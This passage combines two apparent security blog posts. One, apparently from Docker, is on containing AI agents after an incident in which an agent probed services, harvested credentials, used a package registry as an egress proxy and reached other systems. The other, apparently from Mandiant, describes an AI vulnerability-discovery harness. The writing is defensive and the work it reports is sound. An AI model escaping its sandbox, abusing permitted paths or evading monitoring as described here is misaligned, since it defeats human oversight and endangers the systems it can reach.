Expose the narrowest operation-specific interface; scope access by task and destination; monitor permitted paths for behavior that diverges from their purpose
The workload reaches ambient credentials or control-plane services
Remove ambient credentials; use short-lived, task-scoped workload identity; block metadata and control-plane endpoints the task does not require
The workload exceeds its intended execution boundary
Use a hardened isolation boundary; reject privileged workloads, host filesystem mounts, raw device access, and unrestricted host sockets unless explicitly required
State or authority persists beyond replacement of the worker
Govern durable write paths; separate read from write authority; correlate identity and activity across runs
The agent, or an attacker acting through it, crosses into another system
Require explicit authorization for external and destructive actions; scope credentials to the target operation; make write paths observable and revocable
Thousands of individually plausible actions hide behavior that has diverged from the task
Evaluate sequences and bursts against policy and expected behavior; correlate activity across tools and systems; contain at machine speed
The point is not to put human approval in front of every action. That defeats much of the value of using agents and eventually produces approval fatigue. Routine and reversible actions should have very little friction. More sensitive, external, destructive, or unusual actions should receive stronger scrutiny.
Review and sanitization still matter, particularly for packages, tools, and paths where external data could become a command. But sanitization alone is not a reliable answer to prompt injection. Natural-language content is too ambiguous for us to assume we can always identify and remove the malicious part. The stronger boundary is architectural: untrusted content must not be able to grant itself authority, change policy, or create capabilities the agent did not already have.
Done well, governance is not what limits agent autonomy. It is what makes it possible to safely give agents more of it.
Where Docker fits today, and where we do not
We are proud to be founding authors of the Agent Baseline. We worked with other industry experts to distill the problem into six outcomes: Discover, Constrain, Authorize, Observe, Validate, and Respond.
If Docker Sandboxes sit in one specific bucket, it’s “Constrain,” but really, we believe they’re foundational, and where you would instrument or implement all six. They give each agent a dedicated microVM and enforceable boundaries around local compute, filesystem access, and network reach, as well as providing the base (and thus ground truth) layer to observe. That is a real and useful layer.
Docker AI Governance addresses parts of Authorize and Observe by giving organizations a centralized way to define and enforce controls around agent environments, including network and filesystem policies and access to MCP servers and tools.
Together, Sandboxes and AI Governance provide a meaningful part of the answer today: a hardened execution environment and centralized policy enforcement around it. They do not repair a vulnerable service the agent is authorized to contact, narrow a credential issued by another system, or replace the customer’s own security architecture. No vendor, Docker included, can claim its technology would have made this particular incident a non-event.
But a deterministic enforcement boundary is still necessary. It gives an organization one place to apply least capability and least privilege, and one place to observe what the agent was actually allowed to do. If an agent is using a package registry as an egress proxy rather than a package registry, that’s the kind of divergence the telemetry needs to help surface, especially when viewed across a sequence of requests rather than one request at a time.
The broader problem remains difficult. The useful unit of observation is not always one tool call. It may be a burst of activity, a target, a protocol, a credential, or a pattern visible only across systems. A package request can be normal. Repeatedly probing the service behind it, discovering credentials, and using them to reach another system should change the assessment.
That’s the agent-security challenge beyond basic containment. We need to constrain authority, but also observe activity at the right granularity, recognize when it deserves more scrutiny, and respond at the same tempo as the agent. For all of us, Docker included, there is still substantial work ahead across observation, validation, and response.
The operational tradeoff
Security, capability, and autonomy all matter, and they will always be in tension. Said differently, none of this is free.
Short-lived credentials expire during long-running tasks. Narrow egress policies break legitimate package installation. Admission controls reject tools developers assumed they could run. Cross-system detection costs money and produces false positives. A write approval inserted at the wrong point can eliminate most of the productivity the agent was supposed to provide.
Teams will be tempted to loosen each control until the agent works again. That is understandable. The failure mode created by a strict policy is immediate and visible; the failure mode created by excessive authority remains invisible until an incident.
The answer is not to remove the controls or ask a human to approve everything. It is to make friction proportional to consequence, test the failure modes, measure the operational cost, and weigh it against the risk and potential blast radius.
How I work
I use agents every day, and I assume that a sufficiently capable agent will eventually try something I did not anticipate (perhaps on a daily basis…).
For the most part, I do not run one general-purpose agent with access to everything. I use task-focused agents, each packaged as a separate kit, built on free Docker Hardened Images and run in Docker Sandboxes.
Each kit starts with a specific job, then receives only the software, network access, files, credentials, and external capabilities required for that job.
In most cases, the agent has very few restrictions inside its sandbox. That is intentional. What matters is that god mode inside the sandbox does not become god mode over my laptop, my credentials, or every service I can reach.
I do a lot of desk research. Those agents can access the open internet. They’re not useful if they can’t. But their image has no compilers, package manager, general-purpose network debugging tools, or development toolchain, and it runs with deliberately limited system permissions. They can retrieve and analyze public information, but have very little machinery with which to turn something they encounter into an exploit or act on another system. They have no reason to hold my source code or production credentials.
My production coding agent has a much richer environment. It runs pi, can use multiple models, compile code, run tests, and use the tools required for real engineering work. Its network access is restricted to an explicit allow list of services I use, including Docker, GitHub, Snowflake, and Cloudflare. It does not receive arbitrary internet access or arbitrary tools simply because a coding task occasionally needs the network.
My home kit can interact with an Arduino, but it does not receive direct access to the host or the device. A host-side MCP server brokers the allowed operations. The agent can request a defined Arduino capability through that interface; it cannot turn that permission into general access to every device connected to the machine.
My development kit is where I experiment. It runs with balanced network access, but no ambient host secrets and no unrestricted access to host files. When it needs Google Workspace, Snowflake, or another host service, host-side daemons broker those calls. The agent sees the capability I have chosen to expose, not the underlying credential or the rest of the service. Those brokers can enforce which operations are allowed and which are blocked.
These are deliberately different environments. The research agent would be poor at production coding. The coding agent cannot reach every site the research agent can. The home agent cannot turn an Arduino operation into arbitrary host access. The development agent can query a service without possessing the credential that authorizes the query.
That constraint is the feature.
Conclusion: Security at agent speed
The OpenAI/Hugging Face incident was not the failure of a single boundary. It was a chain of reasonable-seeming permissions and familiar weaknesses that became something very different when an agent could test thousands of paths, preserve state across runs, and carry authority from one system into the next.
We will not anticipate every vulnerability an agent might find or every way it might combine the access we give it. The architecture cannot depend on perfect agent behavior, perfect software, or a human noticing every dangerous action in time.
So, the starting point is still least capability and least privilege: give an agent the narrowest interface, credentials, tools, and network access its task requires. Put those controls at a deterministic enforcement boundary. Make the resulting activity observable, not only as isolated requests, but as sequences and patterns across systems. When the behavior leaves the expected envelope, containment has to happen at agent speed.
Docker Sandboxes and Docker AI Governance provide important parts of that architecture today: hardened execution boundaries and centrally enforced policy around them. They do not secure every service an agent is permitted to contact, and they do not eliminate the need for an organization to decide what authority each agent should have. The broader work across Discover, Constrain, Authorize, Observe, Validate, and Respond is why we helped create the Agent Baseline in the first place.
The goal is not to build an agent that never tries the wrong thing. The goal is to build a system where trying the wrong thing does not give it the keys to everything else.
Adversarial misuse of AI has increased the risk of data theft and extortion events, because when proprietary source code is exposed, defenders must scramble to identify and patch vulnerabilities while attackers deploy machine-speed AI tools against them.
By structuring the analysis process, enforcing skeptical validation steps, and injecting domain-specific human expertise directly into the pipeline, we’ve achieved a leap in efficacy. Combining AI models with a deeply structured, human expert-driven orchestration layer to tip the scales so that defenders can beat adversaries to the punch.
Today, we use the Agentic Vulnerability Discovery Harness (AVDH) to rapidly analyze code and find exploit paths during proactive reviews, penetration tests, red team operations, and incident response engagements. By combining multi-agent orchestration with our frontline subject-matter expertise, this framework helps to augment the discovery and validation of routine vulnerabilities, enabling humans to focus their impact.
To help defenders implement similar approaches for their own environments, we are sharing the details of this internal, point-in-time architecture for the first time. AVDH can also be used alongside CodeMender’s ongoing scanning to create a two-layered defense strategy.
Real-World Results
In the 10 months that we’ve been using AVDH, we’ve seen it have a significant impact. During a recent incident response investigation involving stolen corporate repositories, the harness discovered over 100 true-positive critical vulnerabilities in just two days — achieving results in a fraction of the time required for manual review.
This has greatly accelerated how Mandiant discovers vulnerabilities at scale. We have used it to analyze environments spanning tens of millions of lines of code, and execute thousands of pipelines to generate tens of thousands of findings. This rapid analysis has uncovered dozens of assignable flaws in widely used web extensions and open-source projects, resulting in 12 assigned CVEs, including CVE-2026-13242, CVE-2026-55803, and an additional dozen currently in active disclosure.
While fast, broad, high-precision scanning has been one of the key benefits of AVDH, it has also acted as a force multiplier during our targeted adversary simulation engagements. We recently processed a client’s web application source code through the harness, and quickly found a remote code execution (RCE) vulnerability that enabled initial access.
AVDH has repeatedly proven invaluable for navigating mature defenses and accelerating complex exploit chains.
Architecting the Pipeline
Harnesses have become a vital tool for cybersecurity uses of large language models (LLMs). They help mitigate much of the model’s unpredictability, driven by inherent, non-deterministic behavior, and dramatically improve their effectiveness at code analysis.
The programmatic infrastructure of a harness orchestrates agents in a strictly deterministic manner toward objective completion. For AVDH, we used the Google Agent Development Kit (ADK), an LLM framework that implements the most common agent orchestration patterns, and provides flexibility for configuring custom and third-party integrations. This approach aligns with the agentic orchestration capabilities now available in Google Antigravity, which provides a centralized workspace for builders to steer and manage these agentic workflows.
Our decades of frontline experience discovering and remediating vulnerabilities across every software domain helped us structure AVDH around the proven methodologies our consultants execute daily. AVDH chains specialized agents together in a sequential pipeline, much like the waterfall approach to software development: each phase is completed before the next begins. This pipeline yields a prioritized, risk-rated list of findings, primed for a human expert to review.
Just as frontline security experts rely on organizational context, an agentic harness requires rich environmental inputs — such as asset inventories, software bills of materials (SBOMs), architecture documentation, and threat intelligence. When fed into a distilled human knowledge base, this contextual data allows agents to dynamically select relevant skills, language rules, and vulnerability patterns for deep analysis.
A critical first step when using AI for code security analysis is to establish a threat model for the target codebase. Software architectures can vary wildly, and without a threat model, we can lose valuable context, such as attack vectors, business logic, and reachability.
While traditional source code review engines rely on rigid pattern-matching rules, an LLM offers the distinct advantage of distinguishing code accessible to a standard user from code restricted to an administrator, or code that is never executed at all.
Our pipeline begins by dispatching an Explorer agent to identify the core purpose of the target codebase. This agent determines the software domain (such as web or desktop application), reviews discovered documentation, flags directories to exclude from scanning (such as those containing unit tests), and dispatches Specialist Explorer subagents.
These Specialist Explorers then delve into their respective focus areas, including authentication, authorization, routing, and other domain-specific categories. Their output is passed to a Threat Model Synthesis agent, which aggregates the findings into a cohesive threat model.
Once this stage of analysis is complete, the consultant is presented with both textual and visual representations of the threat model for verification before analysis continues. This approval gate helps ensure that the rest of the pipeline has an accurate foundation to operate on.
Figure 3 shows an example layout of a visual threat model generated by the harness, indicating which application components are exposed and how they connect.
Figure 3: Visual representation of a threat model for a sample codebase
Entry Point Discovery
With the threat model established, we deploy parallelized Discovery agents to analyze every in-scope file. These agents use the lightweight Gemini Flash Lite model to process code at scale to extract critical application entry points, such as HTTP routes, inter-process communication (IPC) listeners, and other domain-specific attack vectors. Simultaneously, they isolate and extract all identifiable sources of user input nested in these identified entry points.
Figure 4: Entry point discovery workflow diagram
Context Enrichment
Once entry points are selected for analysis, the harness assigns each to a dedicated Enrichment agent. In enterprise applications, analyzing an entry point in isolation is rarely sufficient — critical components like sanitizers, permissions, and routing conditions are often highly distributed.
Furthermore, vulnerabilities frequently hide deep within nested function calls, multiple hops and files away from the initial source. To bridge this gap, the Enrichment agent navigates the codebase to aggregate contextually relevant code for its assigned entry point. It evaluates this aggregated data to determine whether the entry point requires further analysis by the Access Control agent, the Data Flow Analysis agent, or both.
Figure 5: Context enrichment workflow diagram
Hypothesis Generation
Effective code analysis hinges on observing two primary properties: control flow and data flow. While control flow dictates the execution order of tasks and instructions, data flow traces how information moves and transforms throughout the application.
Our AVDH delegates these critical tasks to the Access Control and Data Flow Analysis agents, respectively.
At this stage, these agents perform minimal self-validation. Their primary objective is expansive brainstorming. To manage the sheer volume of hypotheses produced, this creative process is kept in check by a Confidence Filter configured by the consultant.
Figure 6: Hypothesis generation gating diagram
The Access Control agent evaluates the protections surrounding the target entry point to determine its overall accessibility to application users. Its primary purpose is to validate security assumptions, and confirm whether privileged functionality is restricted or inadvertently exposed to unauthorized users. This analysis exposes flaws where a check was never made, or made against the wrong identity, including missing authorization, privilege escalation, and cross-site request forgery (CSRF).
Meanwhile, the Data Flow Analysis agent tracks the flow of user input from the initial entry point throughout the entire application. It traces data as it traverses nested function calls, sanitizer transformations, and storage boundaries like databases.
The agent's goal is to determine if this user-supplied data ever reaches a dangerous "sink," a function where malicious input could execute and cause harm. This deep tracing unearths vulnerability classes such as SQL injection, cross-site scripting (XSS), command injection, and path traversal.
Hypothesis Validation
Once hypotheses are generated for the target codebase, our harness dispatches a new set of agents to validate them. In LLMs, the temperature parameter dictates the variability and randomness of the output: lower temperatures yield predictable, stable responses, while higher values can produce radically different results each time.
Our harness uses this by dispatching multiple Validation agents configured with high temperature settings to assess each hypothesis, alongside a single ValidationSynthesis agent tasked with processing their verdicts to make a final decision. Using a higher temperature enables our validation to cover a much broader spectrum of possibilities rather than more predictable, expected responses. Ultimately, this temperature configuration provides richer, more comprehensive context for the agent making the final determination.
The Synthesis agent evaluates the reasoning and verdicts from the Validation agents to determine if the hypothesis meets our rigorous quality criteria and aligns with the overall threat model. From here, there are three possible outcomes:
Confirmed finding: The hypothesis is robust, and the Validation agents have independently verified it.
Disproven hypothesis: The Validation agents surface significant conflicting evidence disputing the validity of the flaw.
Rejected hypothesis: The hypothesis does not align with the established threat model, or does not qualify as a vulnerability.
Figure 7: Hypothesis validation workflow diagram
Human Subject-Matter Expertise
Expert Validation
Once the harness deduplicates and risk-rates the confirmed findings, we continue the analysis with rigorous human expert review. We perform due diligence by dynamically replicating the exploitation and executing Proof-of-Concept (POC) code to verify that the AI assumptions are accurate and that no unseen compensating controls hinder the attack path.
Once validated, the consultant synthesizes the AI-generated finding with their own expert analysis and prepares it for formal disclosure. Conversely, any findings that fail to pass this dynamic testing phase are discarded.
We encourage network defenders considering implementing similar vulnerability discovery harnesses to manually validate findings.
Figure 8: Human-in-the-loop handover diagram
Distilled Knowledge
While human-in-the-loop validation of confirmed findings effectively minimizes false positives, we still need to address false negatives.
To determine if the AI agents had missed any vulnerabilities, we engineered a rules-based approach that directly injects Mandiant subject-matter expertise into the analysis pipeline. It uses highly-specialized prompts distilled from our consultants' collective knowledge, similar to the skills engineering concept.
Integrating this human intelligence directly into our AI-driven analysis significantly elevates the precision of the results. To ensure this knowledge system remains modular and scalable, we structured it as a hierarchy with the software domain at the top, followed by three primary rule categories: language, framework, and vulnerability.
Figure 9: Agentic rule system hierarchy
Framework and language rules apply across the entire pipeline, equipping the agents with consultant insights into the specific technologies employed within the target codebase. These rules encompass critical details, such as common entry point definition patterns and unique attack surfaces, with additional contextual information essential for threat modeling.
In contrast, vulnerability rules apply exclusively during the final stages of the pipeline, prescribing precisely how to discover, validate, and risk-rate specific types of vulnerabilities. This structured system ensures the entire analysis pipeline is infused with Mandiant’s human expertise in a maintainable, highly modular way.
Figure 10: Methodology rule application diagram
Measuring Success
Accurate benchmarking and evaluation are critical to maintaining and continuously improving an agentic code analysis pipeline. We developed a rigorous internal methodology for measuring the performance of our orchestration harness, ensuring that prompt adjustments and rule updates consistently drive positive, data-backed improvements without introducing quality regressions.
We recommend implementing an analogous benchmarking system to gauge progress and efficacy with your code analysis pipeline.
Benchmark Targets
While public code vulnerability datasets exist, training data contamination presents a significant challenge for evaluating LLMs. It is possible that modern frontier models have already ingested these public repositories, making it nearly impossible to determine if a model is genuinely reasoning through a vulnerability or simply recalling a memorized solution.
To ensure high-fidelity evaluation, we developed a suite of proprietary, synthetic codebases. These custom benchmarks span software domains, programming languages, vulnerability depths, and architectures, from traditional monoliths to modern microservices.
Crucially, our security consultants manually verify every injected vulnerability to ensure it is genuinely reachable and dynamically exploitable. As we tune the harness and its underlying prompts, we enforce strict review processes to actively prevent the AI from overfitting to these benchmark codebases.
Benchmark Grading
Our grading process pairs AI evaluation with expert human-in-the-loop review. When our harness analyzes a benchmark directory, the output is passed to a dedicated Grading agent. This grader evaluates the pipeline's findings against our ground-truth dataset, demanding precise vulnerability matches rather than relying on loose semantic similarity.
From there, the grading pipeline branches out to handle edge cases:
False positive triage: Harness findings that do not map to the ground truth are routed to a secondary agent to definitively classify them as either false positives or legitimate vulnerabilities.
Duplicate resolution: If the pipeline produces multiple findings that map to a single ground-truth issue, another agent analyzes the cluster to determine whether the findings are duplicates.
Finally, a human expert manually reviews the graded data to validate the accuracy of the AI judges. We perform this rigorous testing cycle across multiple domains and architectures for every major release of the harness, averaging out the results to account for the inherent non-determinism of LLMs.
To match these emerging threats, securing the code pipeline must be a critical component of a modern defense strategy. Manual source code review can’t keep pace with AI, and traditional scanning engines consistently miss the broad spectrum of vulnerabilities hidden in modern software.
However, the success of our harness proves defenders can reclaim the advantage against adversarial AI. By embedding frontier models within an expert-defined harness, defenders can automate the discovery of routine vulnerabilities.
Handling these standard findings transforms source code visibility into a scalable defense, freeing our consultants and other defenders to focus entirely on complex flaws. We believe that the process of building and refining this harness has demonstrated that AI is most effective when deployed as a practical multiplier for human expertise.
While our tool was built for point-in-time assessments and deep, proactive vulnerability discovery, our recent blog post describes how CodeMender complements this by providing continuous, AI-enabled monitoring for software development and vulnerability management. For organizations looking to deploy these capabilities out-of-the-box, Google AI Threat Defense offers an always-on platform.It includes CodeMender’s code scanning and remediation to analyze systems, prioritize threats, patch vulnerabilities, and continuously monitor for new attacks. Combining AVDH for targeted, deep analysis with CodeMender’s ongoing scanning creates a two-layered defense strategy. This approach leverages point-in-time remediation for complex chains while maintaining continuous visibility over the development lifecycle.
